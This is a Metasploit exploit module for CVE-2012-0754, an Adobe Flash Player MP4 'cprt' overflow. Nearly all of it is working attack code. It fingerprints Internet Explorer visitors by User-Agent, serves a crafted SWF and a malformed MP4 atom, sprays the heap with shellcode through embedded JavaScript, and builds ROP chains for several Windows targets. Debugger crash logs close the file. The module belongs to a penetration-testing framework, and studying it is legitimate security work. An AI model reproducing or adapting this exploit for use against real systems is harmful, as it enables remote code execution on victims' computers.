##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({
    :os_name    => OperatingSystems::Match::WINDOWS,
    :method     => "GetVariable",
    :classid    => "ShockwaveFlash.ShockwaveFlash",
    :rank       => NormalRanking, # reliable memory corruption
    :javascript => true
  })

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Adobe Flash Player MP4 'cprt' Overflow",
      'Description'    => %q{
        This module exploits a vulnerability found in Adobe Flash
        Player.  By supplying a corrupt .mp4 file loaded by Flash, it
        is possible to gain arbitrary remote code execution under the
        context of the user.

        This vulnerability has been exploited in the wild as part of
        the "Iran's Oil and Nuclear Situation.doc" e-mail attack.
        According to the advisory, 10.3.183.15 and 11.x before
        11.1.102.62 are affected.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Alexander Gavrun', # Vulnerability discovery
          'sinn3r',           # Metasploit module
          'juan vazquez'      # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-0754' ],
          [ 'OSVDB', '79300'],
          [ 'BID', '52034' ],
          [ 'URL', 'http://contagiodump.blogspot.com/2012/03/mar-2-cve-2012-0754-irans-oil-and.html' ],
          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-03.html' ]
        ],
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00",
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Flash Player 11.1.102.55
          # Flash Player 10.3.183.10
          [ 'Automatic', {} ],
          [
            'IE 6 on Windows XP SP3',
            {
              'Rop'    => nil,
              'Offset' => '0x800 - code.length',
              'Ret'    => 0x0c0c0c0c
            }
          ],
          [
            'IE 7 on Windows XP SP3',
            {
              'Rop'    => nil,
              'Offset' => '0x800 - code.length',
              'Ret'    => 0x0c0c0c0c
            }
          ],
          [
            'IE 8 on Windows XP SP3 with msvcrt ROP',
            {
              'Rop'    => :msvcrt,
              'Offset' => '0x5f4',
              'Ret'    => 0x77c15ed5,
              'ppr'    => 0x77C1CAFB
            }
          ],
          [
            'IE 8 on Windows XP SP3 with JRE ROP',
            {
              'Rop'    => :jre,
              'Offset' => '0x5f4',
              'Ret'    => 0x77c15ed5,
              'ppr'    => 0x77C1CAFB
            }
          ],
          [
            'IE 7 on Windows Vista',
            {
              'Rop'    => nil,
              'Offset' => '0x5f4',
              'Ret'    => 0x0c0c0c0c
            }
          ],
          [
            'IE 8 on Windows 7 SP1',
            {
              'Rop'    => :jre,
              'Offset' => '0x5f4',
              'Ret'    => 0x7c348b05,
              'ppr'    => 0x7c34272e
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-02-15',
      'DefaultTarget'  => 0))
  end

  def junk(n=4)
    return rand_text_alpha(n).unpack("V").first
  end

  def get_payload(t, cli)

    if t['Rop'].nil?
      code = ""
    else
      #Fix the stack to avoid anything busted
      code = "\x81\xC4\x54\xF2\xFF\xFF"
    end
    code << payload.encoded

    # No rop. Just return the payload.
    return code if t['Rop'].nil?

    rop_name = (t['Rop'] and t['Rop'] == :msvcrt) ? 'msvcrt' : 'java'
    rop_target = (rop_name == 'msvcrt') ? 'xp' : ''

    pivot  = [t['ppr']].pack('V*')  #POP/POP/RET
    pivot << [junk].pack('V*')
    pivot << [t.ret].pack('V*')

    code = generate_rop_payload(rop_name, code, {'target'=>rop_target})
    return code
  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
      return targets[1]  #IE 6 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
      return targets[2]  #IE 7 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
      return targets[3]  #IE 8 on Windows XP SP3
    elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
      return targets[5]  #IE 7 on Windows Vista
    elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
      return targets[6]  #IE 8 on Windows Vista SP1 with JRE
    else
      return nil
    end
  end

  def primer
    # "/test.mp4" is currently hard-coded in the swf file, so we need to add to resource
    hardcoded_uripath("/test.mp4")
  end

  def exploit
    @swf = create_swf
    super
  end

  def on_request_uri(cli, request)

    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("Browser not supported: #{agent}")
      send_not_found(cli)
      return
    end

    print_status("Client requesting: #{request.uri}")

    # The SWF requests our MP4 trigger
    if request.uri =~ /\.mp4$/
      print_status("Sending MP4...")
      mp4 = create_mp4(my_target)
      send_response(cli, mp4, {'Content-Type'=>'video/mp4'})
      return
    end

    if request.uri =~ /\.swf$/
      print_status("Sending Exploit SWF")
      send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
      return
    end

    p = get_payload(my_target, cli)

    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
    randnop = rand_text_alpha(rand(100) + 1)

    js_pivot = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});

    while (nops.length < 0x80000) nops += nops;
    var offset = nops.substring(0, #{my_target['Offset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);

    heap_obj.gc();
    heap_obj.debug(true);
    for (var i=1; i < 0x1C2; i++) {
      heap_obj.alloc(block);
    }
    heap_obj.debug(true);
    JS

    js_pivot = heaplib(js_pivot, {:noobfu => true})

    swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
    swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf"

    html = %Q|
<html>
<head>
<script>
#{js_pivot}
</script>
</head>
<body>
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="test" width="1" height="1"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="#{swf_uri}" />
<embed src="#{swf_uri}" quality="high"
width="1" height="1" name="test" align="middle"
allowNetworking="all"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer">
</embed>

</object>
</center>

</body>
</html>
    |

    html = html.gsub(/^ {4}/, '')

    print_status("Sending html")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

  def create_swf
    path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2012-0754.swf" )
    fd = ::File.open( path, "rb" )
    swf = fd.read(fd.stat.size)
    fd.close

    return swf
  end

  def create_mp4(target)
    mp4 = ""
    mp4 << "\x00\x00\x00\x18"
    mp4 << "ftypmp42"
    mp4 << "\x00\x00\x00\x00"
    mp4 << "mp42isom"
    mp4 << "\x00\x00\x00\x0D"
    mp4 << "cprt"
    mp4 << "\x00\xFF\xFF\xFF"
    mp4 << "\x00\x00\x00\x00"
    mp4 << "\x0c\x0c\x0c\x0c" * 2586

    return mp4
  end
end

=begin
C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx

(4b4.1d0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=00000000 ecx=0308b1a0 edx=00000004 esi=0308b1a0 edi=00000001
eip=027a2626 esp=0377fec0 ebp=0377ff0c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx -
Flash11e+0x52626:
027a2626 ff5008          call    dword ptr [eax+8]    ds:0023:0c0c0c14=????????

C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx

(510.9b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=03e46810 ecx=0396b160 edx=00000004 esi=03e46cd4 edi=00000000
eip=10048b65 esp=0428fd10 ebp=0428feb4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx -
Flash10x+0x48b65:
10048b65 ff5008          call    dword ptr [eax+8]    ds:0023:0c0c0c14=????????
=end
